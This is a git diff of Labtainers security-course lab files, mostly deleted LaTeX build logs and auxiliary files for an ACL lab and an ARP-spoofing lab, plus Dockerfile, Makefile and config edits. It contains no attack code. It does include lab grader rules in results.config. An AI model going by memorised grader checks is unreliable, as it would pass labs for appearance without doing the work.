2013/01/14 v3.01 AMS font symbols - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty -Package: amsfonts 2013/01/14 v3.01 Basic AMSFonts support -\symAMSa=\mathgroup4 -\symAMSb=\mathgroup5 -LaTeX Font Info: Overwriting math alphabet `\mathfrak' in version `bold' -(Font) U/euf/m/n --> U/euf/b/n on input line 106. -)) -(/usr/share/texlive/texmf-dist/tex/latex/tools/xspace.sty -Package: xspace 2014/10/28 v1.13 Space after command names (DPC,MH) -) -(/usr/share/texlive/texmf-dist/tex/latex/wrapfig/wrapfig.sty -\wrapoverhang=\dimen124 -\WF@size=\dimen125 -\c@WF@wrappedlines=\count100 -\WF@box=\box28 -\WF@everypar=\toks20 -Package: wrapfig 2003/01/31 v 3.6 -) -(/usr/share/texlive/texmf-dist/tex/latex/fancyhdr/fancyhdr.sty -\fancy@headwidth=\skip46 -\f@ncyO@elh=\skip47 -\f@ncyO@erh=\skip48 -\f@ncyO@olh=\skip49 -\f@ncyO@orh=\skip50 -\f@ncyO@elf=\skip51 -\f@ncyO@erf=\skip52 -\f@ncyO@olf=\skip53 -\f@ncyO@orf=\skip54 -) -(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty -\Urlmuskip=\muskip11 -Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. -) -(/usr/share/texlive/texmf-dist/tex/latex/tools/verbatim.sty -Package: verbatim 2014/10/28 v1.5q LaTeX2e package for verbatim enhancements -\every@verbatim=\toks21 -\verbatim@line=\toks22 -\verbatim@in@stream=\read2 -) -(/usr/share/texlive/texmf-dist/tex/latex/fancyvrb/fancyvrb.sty -Package: fancyvrb 2008/02/07 - -Style option: `fancyvrb' v2.7a, with DG/SPQR fixes, and firstline=lastline fix -<2008/02/07> (tvz) -\FV@CodeLineNo=\count101 -\FV@InFile=\read3 -\FV@TabBox=\box29 -\c@FancyVerbLine=\count102 -\FV@StepNumber=\count103 -\FV@OutFile=\write3 -) (/usr/share/texlive/texmf-dist/tex/latex/float/float.sty -Package: float 2001/11/08 v1.3d Float enhancements (AL) -\c@float@type=\count104 -\float@exts=\toks23 -\float@box=\box30 -\@float@everytoks=\toks24 -\@floatcapt=\box31 -) -(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.sty -Package: subfigure 2002/03/15 v2.1.5 subfigure package -\subfigtopskip=\skip55 -\subfigcapskip=\skip56 -\subfigcaptopadj=\dimen126 -\subfigbottomskip=\skip57 -\subfigcapmargin=\dimen127 -\subfiglabelskip=\skip58 -\c@subfigure=\count105 -\c@lofdepth=\count106 -\c@subtable=\count107 -\c@lotdepth=\count108 - -**************************************** -* Local config file subfigure.cfg used * -**************************************** -(/usr/share/texlive/texmf-dist/tex/latex/subfigure/subfigure.cfg) -\subfig@top=\skip59 -\subfig@bottom=\skip60 -) -(/usr/share/texlive/texmf-dist/tex/latex/cite/cite.sty -LaTeX Info: Redefining \cite on input line 302. -LaTeX Info: Redefining \nocite on input line 332. -Package: cite 2015/02/27 v 5.5 -) -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty -Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty -Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) - - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty -Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) -Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) -Package hobsub Info: Skipping package `infwarerr' (already loaded). -Package hobsub Info: Skipping package `ltxcmds' (already loaded). -Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) -Package ifluatex Info: LuaTeX not detected. -Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) -Package ifvtex Info: VTeX not detected. -Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) -Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) -Package ifpdf Info: pdfTeX in PDF mode is detected. -Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) -Package etexcmds Info: Could not find \expanded. -(etexcmds) That can mean that you are not using pdfTeX 1.50 or -(etexcmds) that some package has redefined \expanded. -(etexcmds) In the latter case, load this package earlier. -Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) -Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) -Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO -) -Package pdftexcmds Info: LuaTeX not detected. -Package pdftexcmds Info: \pdf@primitive is available. -Package pdftexcmds Info: \pdf@ifprimitive is available. -Package pdftexcmds Info: \pdfdraftmode found. -Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) -Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO -) -Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) -Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) -) -Package hobsub Info: Skipping package `hobsub' (already loaded). -Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) -Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) -Package: xcolor-patch 2011/01/30 xcolor patch -Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) -Package atveryend Info: \enddocument detected (standard20110627). -Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) -Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) -Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) -) -(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty -Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional -) -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty -Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) -) -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty -Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) -) -\@linkdim=\dimen128 -\Hy@linkcounter=\count109 -\Hy@pagecounter=\count110 - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def -File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) -) -\Hy@SavedSpaceFactor=\count111 - -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg -File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive -) -Package hyperref Info: Hyper figures OFF on input line 4443. -Package hyperref Info: Link nesting OFF on input line 4448. -Package hyperref Info: Hyper index ON on input line 4451. -Package hyperref Info: Plain pages OFF on input line 4458. -Package hyperref Info: Backreferencing OFF on input line 4463. -Package hyperref Info: Implicit mode ON; LaTeX internals redefined. -Package hyperref Info: Bookmarks ON on input line 4688. -\c@Hy@tempcnt=\count112 -LaTeX Info: Redefining \url on input line 5041. -\XeTeXLinkMargin=\dimen129 -\Fld@menulength=\count113 -\Field@Width=\dimen130 -\Fld@charsize=\dimen131 -Package hyperref Info: Hyper figures OFF on input line 6295. -Package hyperref Info: Link nesting OFF on input line 6300. -Package hyperref Info: Hyper index ON on input line 6303. -Package hyperref Info: backreferencing OFF on input line 6310. -Package hyperref Info: Link coloring OFF on input line 6315. -Package hyperref Info: Link coloring with OCG OFF on input line 6320. -Package hyperref Info: PDF/A mode OFF on input line 6325. -LaTeX Info: Redefining \ref on input line 6365. -LaTeX Info: Redefining \pageref on input line 6369. -\Hy@abspage=\count114 -\c@Item=\count115 -\c@Hfootnote=\count116 -) - -Package hyperref Message: Driver (autodetected): hpdftex. - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def -File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX -\Fld@listcount=\count117 -\c@bookmark@seq@number=\count118 - -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty -Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) -Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 -82. -) -\Hy@SectionHShift=\skip61 -) -\c@problem=\count119 -\c@define=\count120 -\c@question=\count121 -) -(./acl.aux) -\openout1 = `acl.aux'. - -LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 2. -LaTeX Font Info: ... okay on input line 2. -LaTeX Font Info: Try loading font information for OT1+ptm on input line 2. - (/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1ptm.fd -File: ot1ptm.fd 2001/06/04 font definitions for OT1/ptm. -) -(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii -[Loading MPS to PDF converter (version 2006.09.02).] -\scratchcounter=\count122 -\scratchdimen=\dimen132 -\scratchbox=\box32 -\nofMPsegments=\count123 -\nofMParguments=\count124 -\everyMPshowfont=\toks25 -\MPscratchCnt=\count125 -\MPscratchDim=\dimen133 -\MPnumerator=\count126 -\makeMPintoPDFobject=\count127 -\everyMPtoPDFconversion=\toks26 -) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty -Package: epstopdf-base 2010/02/09 v2.5 Base part for package epstopdf - -(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty -Package: grfext 2010/08/19 v1.1 Manage graphics extensions (HO) -) -Package grfext Info: Graphics extension search list: -(grfext) [.png,.pdf,.jpg,.mps,.jpeg,.jbig2,.jb2,.PNG,.PDF,.JPG,.JPE -G,.JBIG2,.JB2,.eps] -(grfext) \AppendGraphicsExtensions on input line 452. - -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg -File: epstopdf-sys.cfg 2010/07/13 v1.3 Configuration of (r)epstopdf for TeX Liv -e -)) -\AtBeginShipoutBox=\box33 -Package hyperref Info: Link coloring OFF on input line 2. - -(/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty -Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty -Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) -) -\c@section@level=\count128 -) -LaTeX Info: Redefining \ref on input line 2. -LaTeX Info: Redefining \pageref on input line 2. -LaTeX Info: Redefining \nameref on input line 2. - -(./acl.out) (./acl.out) -\@outlinefile=\write4 -\openout4 = `acl.out'. - -LaTeX Font Info: Try loading font information for U+msa on input line 10. - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd -File: umsa.fd 2013/01/14 v3.01 AMS symbols A -) -LaTeX Font Info: Try loading font information for U+msb on input line 10. - -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd -File: umsb.fd 2013/01/14 v3.01 AMS symbols B -) -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <14.4> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 11. -LaTeX Font Info: Try loading font information for OT1+pcr on input line 18. - -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/ot1pcr.fd -File: ot1pcr.fd 2001/06/04 font definitions for OT1/pcr. -) -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <12> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 52. -LaTeX Font Info: Font shape `OT1/ptm/bx/n' in size <10.95> not available -(Font) Font shape `OT1/ptm/b/n' tried instead on input line 67. - - -Package Fancyhdr Warning: \headheight is too small (12.0pt): - Make it at least 13.59999pt. - We now make it that large for the rest of the document. - This may cause the page layout to be inconsistent, however. - -[1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map} - -] -Overfull \hbox (25.9375pt too wide) in paragraph at lines 86--90 -\OT1/ptm/m/n/10.95 As the Bob user, use the \OT1/pcr/m/n/10.95 setfacl \OT1/ptm -/m/n/10.95 com-mand to al-low Al-ice to read the \OT1/pcr/m/n/10.95 /shared[]da -ta/bob/bobstuff.txt - [] - -LaTeX Font Info: Try loading font information for OMS+ptm on input line 98. -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/omsptm.fd -File: omsptm.fd -) -LaTeX Font Info: Font shape `OMS/ptm/m/n' in size <10.95> not available -(Font) Font shape `OMS/cmsy/m/n' tried instead on input line 98. - [2] -Package atveryend Info: Empty hook `BeforeClearDocument' on input line 123. - [3] -Package atveryend Info: Empty hook `AfterLastShipout' on input line 123. - (./acl.aux) -Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 123. -Package atveryend Info: Executing hook `AtEndAfterFileList' on input line 123. -Package rerunfilecheck Info: File `acl.out' has not changed. -(rerunfilecheck) Checksum: F8DAA9AE7221A08F99BC1620662F285B;548. -Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 123. - ) -(\end occurred inside a group at level 1) - -### simple group (level 1) entered at line 38 ({) -### bottom level -Here is how much of TeX's memory you used: - 7083 strings out of 494953 - 101307 string characters out of 6180977 - 186911 words of memory out of 5000000 - 10245 multiletter control sequences out of 15000+600000 - 19450 words of font info for 48 fonts, out of 8000000 for 9000 - 14 hyphenation exceptions out of 8191 - 36i,10n,43p,285b,502s stack positions out of 5000i,500n,10000p,200000b,80000s -{/usr/share/texlive/texmf-dist/fonts/enc/dvips/base/8r.enc} -Output written on acl.pdf (3 pages, 54924 bytes). -PDF statistics: - 79 PDF objects out of 1000 (max. 8388607) - 69 compressed objects within 1 object stream - 13 named destinations out of 1000 (max. 500000) - 73 words of extra memory for PDF output out of 10000 (max. 10000000) - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.out deleted file mode 100644 index 21c883fc8..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.out +++ /dev/null @@ -1,9 +0,0 @@ -\BOOKMARK [1][-]{section.1}{Overview}{}% 1 -\BOOKMARK [1][-]{section.2}{Lab Environmnet}{}% 2 -\BOOKMARK [1][-]{section.3}{Setup}{}% 3 -\BOOKMARK [1][-]{section.4}{Lab Tasks}{}% 4 -\BOOKMARK [2][-]{subsection.4.1}{Review existing file permissions}{section.4}% 5 -\BOOKMARK [2][-]{subsection.4.2}{Task 2: Set an ACL on a single file}{section.4}% 6 -\BOOKMARK [2][-]{subsection.4.3}{Task 2: Set an default ACL for a directory}{section.4}% 7 -\BOOKMARK [2][-]{subsection.4.4}{Task 3: Trojan Horses}{section.4}% 8 -\BOOKMARK [1][-]{section.5}{Submission}{}% 9 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.pdf index 620ccedb6..de2171c44 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex index 4c2b9c7c4..df1d032ac 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex @@ -19,7 +19,7 @@ Linux ACLs can be found at \section{Lab Environmnet} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config index 55c57d672..c428ecdb1 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/instr_config/results.config @@ -15,3 +15,7 @@ alice_default = precheck.stdout : FILE_REGEX : file: shared_data/alice.*user:bob fun_alice = fun.stdout : LINE_COUNT _account_alice = precheck.stdout : CONTAINS : uid=1000(alice) _account_read = precheck.stdout : CONTAINS : shared_data/accounting.txt +# +# reference to get copy of /shared_data/bob/fun into the grader for instructor review +# +_dumb = /shared_data/bob/fun : CONTAINS : noneya diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init deleted file mode 100755 index 21cbc5490..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/attacker/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/keywords.txt new file mode 100644 index 000000000..2ded99042 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/config/keywords.txt @@ -0,0 +1,3 @@ +arp +spoof + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student index 7cfdd600d..52b805310 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.attacker.student @@ -12,7 +12,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.wireshark +FROM $registry/labtainer.wireshark2 # # lab is the fully qualified image name, e.g., mylab.some_container.student # labdir is the name of the lab, e.g., mylab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student index 32b46377a..0f3db3f6b 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.gateway.student @@ -12,7 +12,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 # # lab is the fully qualified image name, e.g., mylab.some_container.student # labdir is the name of the lab, e.g., mylab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student index 32b46377a..0f3db3f6b 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.user.student @@ -12,7 +12,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 # # lab is the fully qualified image name, e.g., mylab.some_container.student # labdir is the name of the lab, e.g., mylab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student index 50bab7bea..126c34408 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/dockerfiles/Dockerfile.arp-spoof.webserver.student @@ -12,7 +12,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 # # lab is the fully qualified image name, e.g., mylab.some_container.student # labdir is the name of the lab, e.g., mylab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/.~lock.arp-spoof-report.docx# b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/.~lock.arp-spoof-report.docx# deleted file mode 100644 index 4b4f4475e..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/.~lock.arp-spoof-report.docx# +++ /dev/null @@ -1 +0,0 @@ -,secgen,secgen-oVirt-Node,06.12.2019 16:57,file:///home/secgen/.config/libreoffice/4; \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile index 8a8804819..4191e6d7d 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/Makefile @@ -1,5 +1,6 @@ arp-spoof.pdf: arp-spoof.tex header.tex pdflatex -jobname=arp-spoof arp-spoof + pdflatex -jobname=arp-spoof arp-spoof clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.aux deleted file mode 100644 index 76cc1ea2d..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.aux +++ /dev/null @@ -1,29 +0,0 @@ -\relax -\providecommand\hyper@newdestlabel[2]{} -\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} -\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined -\global\let\oldcontentsline\contentsline -\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} -\global\let\oldnewlabel\newlabel -\gdef\newlabel#1#2{\newlabelxx{#1}#2} -\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} -\AtEndDocument{\ifx\hyper@anchor\@undefined -\let\contentsline\oldcontentsline -\let\newlabel\oldnewlabel -\fi} -\fi} -\global\let\hyper@last\relax -\gdef\HyperFirstAtBeginDocument#1{#1} -\providecommand\HyField@AuxAddToFields[1]{} -\providecommand\HyField@AuxAddToCoFields[2]{} -\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} -\@writefile{toc}{\contentsline {section}{\numberline {2}Lab Environmnet}{1}{section.2}} -\@writefile{toc}{\contentsline {section}{\numberline {3}Network Configuration}{1}{section.3}} -\@writefile{lof}{\contentsline {figure}{\numberline {1}{\ignorespaces Intended traffic from between User and Webserver}}{2}{figure.1}} -\newlabel{fig:intended}{{1}{2}{Intended traffic from between User and Webserver}{figure.1}{}} -\@writefile{toc}{\contentsline {section}{\numberline {4}Lab Tasks}{2}{section.4}} -\@writefile{lof}{\contentsline {figure}{\numberline {2}{\ignorespaces Man-in-the-middle attack via ARP Spoofing}}{2}{figure.2}} -\newlabel{fig:spoofed}{{2}{2}{Man-in-the-middle attack via ARP Spoofing}{figure.2}{}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.1}Task 1: Sniff the LAN from the Attacker}{3}{subsection.4.1}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.2}Task 2: Spoof the ARP cache on the User and Gateway Computers}{3}{subsection.4.2}} -\@writefile{toc}{\contentsline {section}{\numberline {5}Submission}{3}{section.5}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.log deleted file mode 100644 index 67c3a7e7d..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/arp-spoof/docs/arp-spoof.log +++ /dev/null @@ -1,495 +0,0 @@ -This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.12.6) 6 DEC 2019 16:56 -entering extended mode - restricted \write18 enabled. - %&-line parsing enabled. -**arp-spoof -(./arp-spoof.tex -LaTeX2e <2016/02/01> -Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. -(./header.tex (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls -Document Class: article 2014/09/29 v1.4h Standard LaTeX document class -(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo -File: size11.clo 2014/09/29 v1.4h Standard LaTeX file (size option) -) -\c@part=\count79 -\c@section=\count80 -\c@subsection=\count81 -\c@subsubsection=\count82 -\c@paragraph=\count83 -\c@subparagraph=\count84 -\c@figure=\count85 -\c@table=\count86 -\abovecaptionskip=\skip41 -\belowcaptionskip=\skip42 -\bibindent=\dimen102 -) -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/times.sty -Package: times 2005/04/12 PSNFSS-v9.2a (SPQR) -) -(/usr/share/texlive/texmf-dist/tex/generic/epsf/epsf.sty -This is `epsf.tex' v2.7.4 <14 February 2011> -\epsffilein=\read1 -\epsfframemargin=\dimen103 -\epsfframethickness=\dimen104 -\epsfrsize=\dimen105 -\epsftmp=\dimen106 -\epsftsize=\dimen107 -\epsfxsize=\dimen108 -\epsfysize=\dimen109 -\pspoints=\dimen110 -) (/usr/share/texlive/texmf-dist/tex/latex/graphics/epsfig.sty -Package: epsfig 1999/02/16 v1.7a (e)psfig emulation (SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty -Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty -Package: keyval 2014/10/28 v1.15 key=value parser (DPC) -\KV@toks@=\toks14 -) -(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty -Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty -Package: trig 2016/01/03 v1.10 sin cos tan (DPC) -) -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg -File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live -) -Package graphics Info: Driver file: pdftex.def on input line 95. - -(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def -File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty -Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) -) -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty -Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) -) -\Gread@gobject=\count87 -)) -\Gin@req@height=\dimen111 -\Gin@req@width=\dimen112 -) -\epsfxsize=\dimen113 -\epsfysize=\dimen114 -) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty -Package: amsmath 2016/03/03 v2.15a AMS math features -\@mathmargin=\skip43 - -For additional information on amsmath, use the `?' option. -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty -Package: amstext 2000/06/29 v2.01 AMS text - -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty -File: amsgen.sty 1999/11/30 v2.0 generic functions -\@emptytoks=\toks15 -\ex@=\dimen115 -)) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty -Package: amsbsy 1999/11/29 v1.2d Bold Symbols -\pmbraise@=\dimen116 -) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty -Package: amsopn 1999/12/14 v2.01 operator names -) -\inf@bad=\count88 -LaTeX Info: Redefining \frac on input line 199. -\uproot@=\count89 -\leftroot@=\count90 -LaTeX Info: Redefining \overline on input line 297. -\classnum@=\count91 -\DOTSCASE@=\count92 -LaTeX Info: Redefining \ldots on input line 394. 